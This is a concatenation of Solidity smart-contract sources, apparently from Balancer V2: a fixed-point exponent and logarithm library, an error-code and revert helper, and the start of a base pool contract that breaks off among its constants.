// Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated
// documentation files (the “Software”), to deal in the Software without restriction, including without limitation the
// rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to
// permit persons to whom the Software is furnished to do so, subject to the following conditions:
// The above copyright notice and this permission notice shall be included in all copies or substantial portions of the
// Software.
// THE SOFTWARE IS PROVIDED “AS IS”, WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE
// WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
// COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
// OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
pragma solidity ^0.7.0;
import "../helpers/BalancerErrors.sol";
/* solhint-disable */
/**
* @dev Exponentiation and logarithm functions for 18 decimal fixed point numbers (both base and exponent/argument).
*
* Exponentiation and logarithm with arbitrary bases (x^y and log_x(y)) are implemented by conversion to natural
* exponentiation and logarithm (where the base is Euler's number).
*
* @author Fernando Martinelli - @fernandomartinelli
* @author Sergio Yuhjtman - @sergioyuhjtman
* @author Daniel Fernandez - @dmf7z
*/
library LogExpMath {
// All fixed point multiplications and divisions are inlined. This means we need to divide by ONE when multiplying
// two numbers, and multiply by ONE when dividing them.
// All arguments and return values are 18 decimal fixed point numbers.
int256 constant ONE_18 = 1e18;
// Internally, intermediate values are computed with higher precision as 20 decimal fixed point numbers, and in the
// case of ln36, 36 decimals.
int256 constant ONE_20 = 1e20;
int256 constant ONE_36 = 1e36;
// The domain of natural exponentiation is bound by the word size and number of decimals used.
//
// Because internally the result will be stored using 20 decimals, the largest possible result is
// (2^255 - 1) / 10^20, which makes the largest exponent ln((2^255 - 1) / 10^20) = 130.700829182905140221.
// The smallest possible result is 10^(-18), which makes largest negative argument
// ln(10^(-18)) = -41.446531673892822312.
// We use 130.0 and -41.0 to have some safety margin.
int256 constant MAX_NATURAL_EXPONENT = 130e18;
int256 constant MIN_NATURAL_EXPONENT = -41e18;
// Bounds for ln_36's argument. Both ln(0.9) and ln(1.1) can be represented with 36 decimal places in a fixed point
// 256 bit integer.
int256 constant LN_36_LOWER_BOUND = ONE_18 - 1e17;
int256 constant LN_36_UPPER_BOUND = ONE_18 + 1e17;
uint256 constant MILD_EXPONENT_BOUND = 2**254 / uint256(ONE_20);
// 18 decimal constants
int256 constant x0 = 128000000000000000000; // 2ˆ7
int256 constant a0 = 38877084059945950922200000000000000000000000000000000000; // eˆ(x0) (no decimals)
int256 constant x1 = 64000000000000000000; // 2ˆ6
int256 constant a1 = 6235149080811616882910000000; // eˆ(x1) (no decimals)
// 20 decimal constants
int256 constant x2 = 3200000000000000000000; // 2ˆ5
int256 constant a2 = 7896296018268069516100000000000000; // eˆ(x2)
int256 constant x3 = 1600000000000000000000; // 2ˆ4
int256 constant a3 = 888611052050787263676000000; // eˆ(x3)
int256 constant x4 = 800000000000000000000; // 2ˆ3
int256 constant a4 = 298095798704172827474000; // eˆ(x4)
int256 constant x5 = 400000000000000000000; // 2ˆ2
int256 constant a5 = 5459815003314423907810; // eˆ(x5)
int256 constant x6 = 200000000000000000000; // 2ˆ1
int256 constant a6 = 738905609893065022723; // eˆ(x6)
int256 constant x7 = 100000000000000000000; // 2ˆ0
int256 constant a7 = 271828182845904523536; // eˆ(x7)
int256 constant x8 = 50000000000000000000; // 2ˆ-1
int256 constant a8 = 164872127070012814685; // eˆ(x8)
int256 constant x9 = 25000000000000000000; // 2ˆ-2
int256 constant a9 = 128402541668774148407; // eˆ(x9)
int256 constant x10 = 12500000000000000000; // 2ˆ-3
int256 constant a10 = 113314845306682631683; // eˆ(x10)
int256 constant x11 = 6250000000000000000; // 2ˆ-4
int256 constant a11 = 106449445891785942956; // eˆ(x11)
/**
* @dev Exponentiation (x^y) with unsigned 18 decimal fixed point base and exponent.
*
* Reverts if ln(x) * y is smaller than `MIN_NATURAL_EXPONENT`, or larger than `MAX_NATURAL_EXPONENT`.
*/
function pow(uint256 x, uint256 y) internal pure returns (uint256) {
if (y == 0) {
// We solve the 0^0 indetermination by making it equal one.
return uint256(ONE_18);
}
if (x == 0) {
return 0;
}
// Instead of computing x^y directly, we instead rely on the properties of logarithms and exponentiation to
// arrive at that result. In particular, exp(ln(x)) = x, and ln(x^y) = y * ln(x). This means
// x^y = exp(y * ln(x)).
// The ln function takes a signed value, so we need to make sure x fits in the signed 256 bit range.
_require(x < 2**255, Errors.X_OUT_OF_BOUNDS);
int256 x_int256 = int256(x);
// We will compute y * ln(x) in a single step. Depending on the value of x, we can either use ln or ln_36. In
// both cases, we leave the division by ONE_18 (due to fixed point multiplication) to the end.
// This prevents y * ln(x) from overflowing, and at the same time guarantees y fits in the signed 256 bit range.
_require(y < MILD_EXPONENT_BOUND, Errors.Y_OUT_OF_BOUNDS);
int256 y_int256 = int256(y);
int256 logx_times_y;
if (LN_36_LOWER_BOUND < x_int256 && x_int256 < LN_36_UPPER_BOUND) {
int256 ln_36_x = _ln_36(x_int256);
// ln_36_x has 36 decimal places, so multiplying by y_int256 isn't as straightforward, since we can't just
// bring y_int256 to 36 decimal places, as it might overflow. Instead, we perform two 18 decimal
// multiplications and add the results: one with the first 18 decimals of ln_36_x, and one with the
// (downscaled) last 18 decimals.
logx_times_y = ((ln_36_x / ONE_18) * y_int256 + ((ln_36_x % ONE_18) * y_int256) / ONE_18);
} else {
logx_times_y = _ln(x_int256) * y_int256;
}
logx_times_y /= ONE_18;
// Finally, we compute exp(y * ln(x)) to arrive at x^y
_require(
MIN_NATURAL_EXPONENT <= logx_times_y && logx_times_y <= MAX_NATURAL_EXPONENT,
Errors.PRODUCT_OUT_OF_BOUNDS
);
return uint256(exp(logx_times_y));
}
/**
* @dev Natural exponentiation (e^x) with signed 18 decimal fixed point exponent.
*
* Reverts if `x` is smaller than MIN_NATURAL_EXPONENT, or larger than `MAX_NATURAL_EXPONENT`.
*/
function exp(int256 x) internal pure returns (int256) {
_require(x >= MIN_NATURAL_EXPONENT && x <= MAX_NATURAL_EXPONENT, Errors.INVALID_EXPONENT);
if (x < 0) {
// We only handle positive exponents: e^(-x) is computed as 1 / e^x. We can safely make x positive since it
// fits in the signed 256 bit range (as it is larger than MIN_NATURAL_EXPONENT).
// Fixed point division requires multiplying by ONE_18.
return ((ONE_18 * ONE_18) / exp(-x));
}
// First, we use the fact that e^(x+y) = e^x * e^y to decompose x into a sum of powers of two, which we call x_n,
// where x_n == 2^(7 - n), and e^x_n = a_n has been precomputed. We choose the first x_n, x0, to equal 2^7
// because all larger powers are larger than MAX_NATURAL_EXPONENT, and therefore not present in the
// decomposition.
// At the end of this process we will have the product of all e^x_n = a_n that apply, and the remainder of this
// decomposition, which will be lower than the smallest x_n.
// exp(x) = k_0 * a_0 * k_1 * a_1 * ... + k_n * a_n * exp(remainder), where each k_n equals either 0 or 1.
// We mutate x by subtracting x_n, making it the remainder of the decomposition.
// The first two a_n (e^(2^7) and e^(2^6)) are too large if stored as 18 decimal numbers, and could cause
// intermediate overflows. Instead we store them as plain integers, with 0 decimals.
// Additionally, x0 + x1 is larger than MAX_NATURAL_EXPONENT, which means they will not both be present in the
// decomposition.
// For each x_n, we test if that term is present in the decomposition (if x is larger than it), and if so deduct
// it and compute the accumulated product.
int256 firstAN;
if (x >= x0) {
x -= x0;
firstAN = a0;
} else if (x >= x1) {
x -= x1;
firstAN = a1;
} else {
firstAN = 1; // One with no decimal places
}
// We now transform x into a 20 decimal fixed point number, to have enhanced precision when computing the
// smaller terms.
x *= 100;
// `product` is the accumulated product of all a_n (except a0 and a1), which starts at 20 decimal fixed point
// one. Recall that fixed point multiplication requires dividing by ONE_20.
int256 product = ONE_20;
if (x >= x2) {
x -= x2;
product = (product * a2) / ONE_20;
}
if (x >= x3) {
x -= x3;
product = (product * a3) / ONE_20;
}
if (x >= x4) {
x -= x4;
product = (product * a4) / ONE_20;
}
if (x >= x5) {
x -= x5;
product = (product * a5) / ONE_20;
}
if (x >= x6) {
x -= x6;
product = (product * a6) / ONE_20;
}
if (x >= x7) {
x -= x7;
product = (product * a7) / ONE_20;
}
if (x >= x8) {
x -= x8;
product = (product * a8) / ONE_20;
}
if (x >= x9) {
x -= x9;
product = (product * a9) / ONE_20;
}
// x10 and x11 are unnecessary here since we have high enough precision already.
// Now we need to compute e^x, where x is small (in particular, it is smaller than x9). We use the Taylor series
// expansion for e^x: 1 + x + (x^2 / 2!) + (x^3 / 3!) + ... + (x^n / n!).
int256 seriesSum = ONE_20; // The initial one in the sum, with 20 decimal places.
int256 term; // Each term in the sum, where the nth term is (x^n / n!).
// The first term is simply x.
term = x;
seriesSum += term;
// Each term (x^n / n!) equals the previous one times x, divided by n. Since x is a fixed point number,
// multiplying by it requires dividing by ONE_20, but dividing by the non-fixed point n values does not.
term = ((term * x) / ONE_20) / 2;
seriesSum += term;
term = ((term * x) / ONE_20) / 3;
seriesSum += term;
term = ((term * x) / ONE_20) / 4;
seriesSum += term;
term = ((term * x) / ONE_20) / 5;
seriesSum += term;
term = ((term * x) / ONE_20) / 6;
seriesSum += term;
term = ((term * x) / ONE_20) / 7;
seriesSum += term;
term = ((term * x) / ONE_20) / 8;
seriesSum += term;
term = ((term * x) / ONE_20) / 9;
seriesSum += term;
term = ((term * x) / ONE_20) / 10;
seriesSum += term;
term = ((term * x) / ONE_20) / 11;
seriesSum += term;
term = ((term * x) / ONE_20) / 12;
seriesSum += term;
// 12 Taylor terms are sufficient for 18 decimal precision.
// We now have the first a_n (with no decimals), and the product of all other a_n present, and the Taylor
// approximation of the exponentiation of the remainder (both with 20 decimals). All that remains is to multiply
// all three (one 20 decimal fixed point multiplication, dividing by ONE_20, and one integer multiplication),
// and then drop two digits to return an 18 decimal value.
return (((product * seriesSum) / ONE_20) * firstAN) / 100;
}
/**
* @dev Logarithm (log(arg, base), with signed 18 decimal fixed point base and argument.
*/
function log(int256 arg, int256 base) internal pure returns (int256) {
// This performs a simple base change: log(arg, base) = ln(arg) / ln(base).
// Both logBase and logArg are computed as 36 decimal fixed point numbers, either by using ln_36, or by
// upscaling.
int256 logBase;
if (LN_36_LOWER_BOUND < base && base < LN_36_UPPER_BOUND) {
logBase = _ln_36(base);
} else {
logBase = _ln(base) * ONE_18;
}
int256 logArg;
if (LN_36_LOWER_BOUND < arg && arg < LN_36_UPPER_BOUND) {
logArg = _ln_36(arg);
} else {
logArg = _ln(arg) * ONE_18;
}
// When dividing, we multiply by ONE_18 to arrive at a result with 18 decimal places
return (logArg * ONE_18) / logBase;
}
/**
* @dev Natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function ln(int256 a) internal pure returns (int256) {
// The real natural logarithm is not defined for negative numbers or zero.
_require(a > 0, Errors.OUT_OF_BOUNDS);
if (LN_36_LOWER_BOUND < a && a < LN_36_UPPER_BOUND) {
return _ln_36(a) / ONE_18;
} else {
return _ln(a);
}
}
/**
* @dev Internal natural logarithm (ln(a)) with signed 18 decimal fixed point argument.
*/
function _ln(int256 a) private pure returns (int256) {
if (a < ONE_18) {
// Since ln(a^k) = k * ln(a), we can compute ln(a) as ln(a) = ln((1/a)^(-1)) = - ln((1/a)). If a is less
// than one, 1/a will be greater than one, and this if statement will not be entered in the recursive call.
// Fixed point division requires multiplying by ONE_18.
return (-_ln((ONE_18 * ONE_18) / a));
}
// First, we use the fact that ln^(a * b) = ln(a) + ln(b) to decompose ln(a) into a sum of powers of two, which
// we call x_n, where x_n == 2^(7 - n), which are the natural logarithm of precomputed quantities a_n (that is,
// ln(a_n) = x_n). We choose the first x_n, x0, to equal 2^7 because the exponential of all larger powers cannot
// be represented as 18 fixed point decimal numbers in 256 bits, and are therefore larger than a.
// At the end of this process we will have the sum of all x_n = ln(a_n) that apply, and the remainder of this
// decomposition, which will be lower than the smallest a_n.
// ln(a) = k_0 * x_0 + k_1 * x_1 + ... + k_n * x_n + ln(remainder), where each k_n equals either 0 or 1.
// We mutate a by subtracting a_n, making it the remainder of the decomposition.
// For reasons related to how `exp` works, the first two a_n (e^(2^7) and e^(2^6)) are not stored as fixed point
// numbers with 18 decimals, but instead as plain integers with 0 decimals, so we need to multiply them by
// ONE_18 to convert them to fixed point.
// For each a_n, we test if that term is present in the decomposition (if a is larger than it), and if so divide
// by it and compute the accumulated sum.
int256 sum = 0;
if (a >= a0 * ONE_18) {
a /= a0; // Integer, not fixed point division
sum += x0;
}
if (a >= a1 * ONE_18) {
a /= a1; // Integer, not fixed point division
sum += x1;
}
// All other a_n and x_n are stored as 20 digit fixed point numbers, so we convert the sum and a to this format.
sum *= 100;
a *= 100;
// Because further a_n are 20 digit fixed point numbers, we multiply by ONE_20 when dividing by them.
if (a >= a2) {
a = (a * ONE_20) / a2;
sum += x2;
}
if (a >= a3) {
a = (a * ONE_20) / a3;
sum += x3;
}
if (a >= a4) {
a = (a * ONE_20) / a4;
sum += x4;
}
if (a >= a5) {
a = (a * ONE_20) / a5;
sum += x5;
}
if (a >= a6) {
a = (a * ONE_20) / a6;
sum += x6;
}
if (a >= a7) {
a = (a * ONE_20) / a7;
sum += x7;
}
if (a >= a8) {
a = (a * ONE_20) / a8;
sum += x8;
}
if (a >= a9) {
a = (a * ONE_20) / a9;
sum += x9;
}
if (a >= a10) {
a = (a * ONE_20) / a10;
sum += x10;
}
if (a >= a11) {
a = (a * ONE_20) / a11;
sum += x11;
}
// a is now a small number (smaller than a_11, which roughly equals 1.06). This means we can use a Taylor series
// that converges rapidly for values of `a` close to one - the same one used in ln_36.
// Let z = (a - 1) / (a + 1).
// ln(a) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 20 digit fixed point division requires multiplying by ONE_20, and multiplication requires
// division by ONE_20.
int256 z = ((a - ONE_20) * ONE_20) / (a + ONE_20);
int256 z_squared = (z * z) / ONE_20;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_20;
seriesSum += num / 3;
num = (num * z_squared) / ONE_20;
seriesSum += num / 5;
num = (num * z_squared) / ONE_20;
seriesSum += num / 7;
num = (num * z_squared) / ONE_20;
seriesSum += num / 9;
num = (num * z_squared) / ONE_20;
seriesSum += num / 11;
// 6 Taylor terms are sufficient for 36 decimal precision.
// Finally, we multiply by 2 (non fixed point) to compute ln(remainder)
seriesSum *= 2;
// We now have the sum of all x_n present, and the Taylor approximation of the logarithm of the remainder (both
// with 20 decimals). All that remains is to sum these two, and then drop two digits to return a 18 decimal
// value.
return (sum + seriesSum) / 100;
}
/**
* @dev Intrnal high precision (36 decimal places) natural logarithm (ln(x)) with signed 18 decimal fixed point argument,
* for x close to one.
*
* Should only be used if x is between LN_36_LOWER_BOUND and LN_36_UPPER_BOUND.
*/
function _ln_36(int256 x) private pure returns (int256) {
// Since ln(1) = 0, a value of x close to one will yield a very small result, which makes using 36 digits
// worthwhile.
// First, we transform x to a 36 digit fixed point value.
x *= ONE_18;
// We will use the following Taylor expansion, which converges very rapidly. Let z = (x - 1) / (x + 1).
// ln(x) = 2 * (z + z^3 / 3 + z^5 / 5 + z^7 / 7 + ... + z^(2 * n + 1) / (2 * n + 1))
// Recall that 36 digit fixed point division requires multiplying by ONE_36, and multiplication requires
// division by ONE_36.
int256 z = ((x - ONE_36) * ONE_36) / (x + ONE_36);
int256 z_squared = (z * z) / ONE_36;
// num is the numerator of the series: the z^(2 * n + 1) term
int256 num = z;
// seriesSum holds the accumulated sum of each term in the series, starting with the initial z
int256 seriesSum = num;
// In each step, the numerator is multiplied by z^2
num = (num * z_squared) / ONE_36;
seriesSum += num / 3;
num = (num * z_squared) / ONE_36;
seriesSum += num / 5;
num = (num * z_squared) / ONE_36;
seriesSum += num / 7;
num = (num * z_squared) / ONE_36;
seriesSum += num / 9;
num = (num * z_squared) / ONE_36;
seriesSum += num / 11;
num = (num * z_squared) / ONE_36;
seriesSum += num / 13;
num = (num * z_squared) / ONE_36;
seriesSum += num / 15;
// 8 Taylor terms are sufficient for 36 decimal precision.
// All that remains is multiplying by 2 (non fixed point).
return seriesSum * 2;
}
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
// solhint-disable
/**
* @dev Reverts if `condition` is false, with a revert reason containing `errorCode`. Only codes up to 999 are
* supported.
*/
function _require(bool condition, uint256 errorCode) pure {
if (!condition) _revert(errorCode);
}
/**
* @dev Reverts with a revert reason containing `errorCode`. Only codes up to 999 are supported.
*/
function _revert(uint256 errorCode) pure {
// We're going to dynamically create a revert string based on the error code, with the following format:
// 'BAL#{errorCode}'
// where the code is left-padded with zeroes to three digits (so they range from 000 to 999).
//
// We don't have revert strings embedded in the contract to save bytecode size: it takes much less space to store a
// number (8 to 16 bits) than the individual string characters.
//
// The dynamic string creation algorithm that follows could be implemented in Solidity, but assembly allows for a
// much denser implementation, again saving bytecode size. Given this function unconditionally reverts, this is a
// safe place to rely on it without worrying about how its usage might affect e.g. memory contents.
assembly {
// First, we need to compute the ASCII representation of the error code. We assume that it is in the 0-999
// range, so we only need to convert three digits. To convert the digits to ASCII, we add 0x30, the value for
// the '0' character.
let units := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let tenths := add(mod(errorCode, 10), 0x30)
errorCode := div(errorCode, 10)
let hundreds := add(mod(errorCode, 10), 0x30)
// With the individual characters, we can now construct the full string. The "BAL#" part is a known constant
// (0x42414c23): we simply shift this by 24 (to provide space for the 3 bytes of the error code), and add the
// characters to it, each shifted by a multiple of 8.
// The revert reason is then shifted left by 200 bits (256 minus the length of the string, 7 characters * 8 bits
// per character = 56) to locate it in the most significant part of the 256 slot (the beginning of a byte
// array).
let revertReason := shl(200, add(0x42414c23000000, add(add(units, shl(8, tenths)), shl(16, hundreds))))
// We can now encode the reason in memory, which can be safely overwritten as we're about to revert. The encoded
// message will have the following layout:
// [ revert reason identifier ] [ string location offset ] [ string length ] [ string contents ]
// The Solidity revert reason identifier is 0x08c739a0, the function selector of the Error(string) function. We
// also write zeroes to the next 28 bytes of memory, but those are about to be overwritten.
mstore(0x0, 0x08c379a000000000000000000000000000000000000000000000000000000000)
// Next is the offset to the location of the string, which will be placed immediately after (20 bytes away).
mstore(0x04, 0x0000000000000000000000000000000000000000000000000000000000000020)
// The string length is fixed: 7 characters.
mstore(0x24, 7)
// Finally, the string itself is stored.
mstore(0x44, revertReason)
// Even if the string is only 7 bytes long, we need to return a full 32 byte slot containing it. The length of
// the encoded message is therefore 4 + 32 + 32 + 32 = 100.
revert(0, 100)
}
}
library Errors {
// Math
uint256 internal constant ADD_OVERFLOW = 0;
uint256 internal constant SUB_OVERFLOW = 1;
uint256 internal constant SUB_UNDERFLOW = 2;
uint256 internal constant MUL_OVERFLOW = 3;
uint256 internal constant ZERO_DIVISION = 4;
uint256 internal constant DIV_INTERNAL = 5;
uint256 internal constant X_OUT_OF_BOUNDS = 6;
uint256 internal constant Y_OUT_OF_BOUNDS = 7;
uint256 internal constant PRODUCT_OUT_OF_BOUNDS = 8;
uint256 internal constant INVALID_EXPONENT = 9;
// Input
uint256 internal constant OUT_OF_BOUNDS = 100;
uint256 internal constant UNSORTED_ARRAY = 101;
uint256 internal constant UNSORTED_TOKENS = 102;
uint256 internal constant INPUT_LENGTH_MISMATCH = 103;
uint256 internal constant ZERO_TOKEN = 104;
// Shared pools
uint256 internal constant MIN_TOKENS = 200;
uint256 internal constant MAX_TOKENS = 201;
uint256 internal constant MAX_SWAP_FEE_PERCENTAGE = 202;
uint256 internal constant MIN_SWAP_FEE_PERCENTAGE = 203;
uint256 internal constant MINIMUM_BPT = 204;
uint256 internal constant CALLER_NOT_VAULT = 205;
uint256 internal constant UNINITIALIZED = 206;
uint256 internal constant BPT_IN_MAX_AMOUNT = 207;
uint256 internal constant BPT_OUT_MIN_AMOUNT = 208;
uint256 internal constant EXPIRED_PERMIT = 209;
uint256 internal constant NOT_TWO_TOKENS = 210;
// Pools
uint256 internal constant MIN_AMP = 300;
uint256 internal constant MAX_AMP = 301;
uint256 internal constant MIN_WEIGHT = 302;
uint256 internal constant MAX_STABLE_TOKENS = 303;
uint256 internal constant MAX_IN_RATIO = 304;
uint256 internal constant MAX_OUT_RATIO = 305;
uint256 internal constant MIN_BPT_IN_FOR_TOKEN_OUT = 306;
uint256 internal constant MAX_OUT_BPT_FOR_TOKEN_IN = 307;
uint256 internal constant NORMALIZED_WEIGHT_INVARIANT = 308;
uint256 internal constant INVALID_TOKEN = 309;
uint256 internal constant UNHANDLED_JOIN_KIND = 310;
uint256 internal constant ZERO_INVARIANT = 311;
uint256 internal constant ORACLE_INVALID_SECONDS_QUERY = 312;
uint256 internal constant ORACLE_NOT_INITIALIZED = 313;
uint256 internal constant ORACLE_QUERY_TOO_OLD = 314;
uint256 internal constant ORACLE_INVALID_INDEX = 315;
uint256 internal constant ORACLE_BAD_SECS = 316;
uint256 internal constant AMP_END_TIME_TOO_CLOSE = 317;
uint256 internal constant AMP_ONGOING_UPDATE = 318;
uint256 internal constant AMP_RATE_TOO_HIGH = 319;
uint256 internal constant AMP_NO_ONGOING_UPDATE = 320;
uint256 internal constant STABLE_INVARIANT_DIDNT_CONVERGE = 321;
uint256 internal constant STABLE_GET_BALANCE_DIDNT_CONVERGE = 322;
uint256 internal constant RELAYER_NOT_CONTRACT = 323;
uint256 internal constant BASE_POOL_RELAYER_NOT_CALLED = 324;
uint256 internal constant REBALANCING_RELAYER_REENTERED = 325;
uint256 internal constant GRADUAL_UPDATE_TIME_TRAVEL = 326;
uint256 internal constant SWAPS_DISABLED = 327;
uint256 internal constant CALLER_IS_NOT_LBP_OWNER = 328;
uint256 internal constant PRICE_RATE_OVERFLOW = 329;
uint256 internal constant INVALID_JOIN_EXIT_KIND_WHILE_SWAPS_DISABLED = 330;
uint256 internal constant WEIGHT_CHANGE_TOO_FAST = 331;
uint256 internal constant LOWER_GREATER_THAN_UPPER_TARGET = 332;
uint256 internal constant UPPER_TARGET_TOO_HIGH = 333;
uint256 internal constant UNHANDLED_BY_LINEAR_POOL = 334;
uint256 internal constant OUT_OF_TARGET_RANGE = 335;
uint256 internal constant UNHANDLED_EXIT_KIND = 336;
uint256 internal constant UNAUTHORIZED_EXIT = 337;
uint256 internal constant MAX_MANAGEMENT_SWAP_FEE_PERCENTAGE = 338;
uint256 internal constant UNHANDLED_BY_INVESTMENT_POOL = 339;
uint256 internal constant UNHANDLED_BY_PHANTOM_POOL = 340;
uint256 internal constant TOKEN_DOES_NOT_HAVE_RATE_PROVIDER = 341;
uint256 internal constant INVALID_INITIALIZATION = 342;
// Lib
uint256 internal constant REENTRANCY = 400;
uint256 internal constant SENDER_NOT_ALLOWED = 401;
uint256 internal constant PAUSED = 402;
uint256 internal constant PAUSE_WINDOW_EXPIRED = 403;
uint256 internal constant MAX_PAUSE_WINDOW_DURATION = 404;
uint256 internal constant MAX_BUFFER_PERIOD_DURATION = 405;
uint256 internal constant INSUFFICIENT_BALANCE = 406;
uint256 internal constant INSUFFICIENT_ALLOWANCE = 407;
uint256 internal constant ERC20_TRANSFER_FROM_ZERO_ADDRESS = 408;
uint256 internal constant ERC20_TRANSFER_TO_ZERO_ADDRESS = 409;
uint256 internal constant ERC20_MINT_TO_ZERO_ADDRESS = 410;
uint256 internal constant ERC20_BURN_FROM_ZERO_ADDRESS = 411;
uint256 internal constant ERC20_APPROVE_FROM_ZERO_ADDRESS = 412;
uint256 internal constant ERC20_APPROVE_TO_ZERO_ADDRESS = 413;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_ALLOWANCE = 414;
uint256 internal constant ERC20_DECREASED_ALLOWANCE_BELOW_ZERO = 415;
uint256 internal constant ERC20_TRANSFER_EXCEEDS_BALANCE = 416;
uint256 internal constant ERC20_BURN_EXCEEDS_ALLOWANCE = 417;
uint256 internal constant SAFE_ERC20_CALL_FAILED = 418;
uint256 internal constant ADDRESS_INSUFFICIENT_BALANCE = 419;
uint256 internal constant ADDRESS_CANNOT_SEND_VALUE = 420;
uint256 internal constant SAFE_CAST_VALUE_CANT_FIT_INT256 = 421;
uint256 internal constant GRANT_SENDER_NOT_ADMIN = 422;
uint256 internal constant REVOKE_SENDER_NOT_ADMIN = 423;
uint256 internal constant RENOUNCE_SENDER_NOT_ALLOWED = 424;
uint256 internal constant BUFFER_PERIOD_EXPIRED = 425;
uint256 internal constant CALLER_IS_NOT_OWNER = 426;
uint256 internal constant NEW_OWNER_IS_ZERO = 427;
uint256 internal constant CODE_DEPLOYMENT_FAILED = 428;
uint256 internal constant CALL_TO_NON_CONTRACT = 429;
uint256 internal constant LOW_LEVEL_CALL_FAILED = 430;
// Vault
uint256 internal constant INVALID_POOL_ID = 500;
uint256 internal constant CALLER_NOT_POOL = 501;
uint256 internal constant SENDER_NOT_ASSET_MANAGER = 502;
uint256 internal constant USER_DOESNT_ALLOW_RELAYER = 503;
uint256 internal constant INVALID_SIGNATURE = 504;
uint256 internal constant EXIT_BELOW_MIN = 505;
uint256 internal constant JOIN_ABOVE_MAX = 506;
uint256 internal constant SWAP_LIMIT = 507;
uint256 internal constant SWAP_DEADLINE = 508;
uint256 internal constant CANNOT_SWAP_SAME_TOKEN = 509;
uint256 internal constant UNKNOWN_AMOUNT_IN_FIRST_SWAP = 510;
uint256 internal constant MALCONSTRUCTED_MULTIHOP_SWAP = 511;
uint256 internal constant INTERNAL_BALANCE_OVERFLOW = 512;
uint256 internal constant INSUFFICIENT_INTERNAL_BALANCE = 513;
uint256 internal constant INVALID_ETH_INTERNAL_BALANCE = 514;
uint256 internal constant INVALID_POST_LOAN_BALANCE = 515;
uint256 internal constant INSUFFICIENT_ETH = 516;
uint256 internal constant UNALLOCATED_ETH = 517;
uint256 internal constant ETH_TRANSFER = 518;
uint256 internal constant CANNOT_USE_ETH_SENTINEL = 519;
uint256 internal constant TOKENS_MISMATCH = 520;
uint256 internal constant TOKEN_NOT_REGISTERED = 521;
uint256 internal constant TOKEN_ALREADY_REGISTERED = 522;
uint256 internal constant TOKENS_ALREADY_SET = 523;
uint256 internal constant TOKENS_LENGTH_MUST_BE_2 = 524;
uint256 internal constant NONZERO_TOKEN_BALANCE = 525;
uint256 internal constant BALANCE_TOTAL_OVERFLOW = 526;
uint256 internal constant POOL_NO_TOKENS = 527;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_BALANCE = 528;
// Fees
uint256 internal constant SWAP_FEE_PERCENTAGE_TOO_HIGH = 600;
uint256 internal constant FLASH_LOAN_FEE_PERCENTAGE_TOO_HIGH = 601;
uint256 internal constant INSUFFICIENT_FLASH_LOAN_FEE_AMOUNT = 602;
}
// SPDX-License-Identifier: GPL-3.0-or-later
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
pragma solidity ^0.7.0;
pragma experimental ABIEncoderV2;
import "@balancer-labs/v2-solidity-utils/contracts/math/Math.sol";
import "@balancer-labs/v2-solidity-utils/contracts/math/FixedPoint.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/InputHelpers.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/TemporarilyPausable.sol";
import "@balancer-labs/v2-solidity-utils/contracts/helpers/WordCodec.sol";
import "@balancer-labs/v2-solidity-utils/contracts/openzeppelin/ERC20.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IVault.sol";
import "@balancer-labs/v2-vault/contracts/interfaces/IBasePool.sol";
import "@balancer-labs/v2-asset-manager-utils/contracts/IAssetManager.sol";
import "./BalancerPoolToken.sol";
import "./BasePoolAuthorization.sol";
// solhint-disable max-states-count
/**
* @dev Reference implementation for the base layer of a Pool contract that manages a single Pool with optional
* Asset Managers, an admin-controlled swap fee percentage, and an emergency pause mechanism.
*
* Note that neither swap fees nor the pause mechanism are used by this contract. They are passed through so that
* derived contracts can use them via the `_addSwapFeeAmount` and `_subtractSwapFeeAmount` functions, and the
* `whenNotPaused` modifier.
*
* No admin permissions are checked here: instead, this contract delegates that to the Vault's own Authorizer.
*
* Because this contract doesn't implement the swap hooks, derived contracts should generally inherit from
* BaseGeneralPool or BaseMinimalSwapInfoPool. Otherwise, subclasses must inherit from the corresponding interfaces
* and implement the swap callbacks themselves.
*/
abstract contract BasePool is IBasePool, BasePoolAuthorization, BalancerPoolToken, TemporarilyPausable {
using WordCodec for bytes32;
using FixedPoint for uint256;
uint256 private constant _MIN_TOKENS = 2;
uint256 private constant _MINIMUM_BPT = 1e6;
// 1e18 corresponds to 1.0, or a 100% fee
uint256 private constant _MIN_SWAP_FEE_PERCENTAGE = 1e12; // 0.0001%
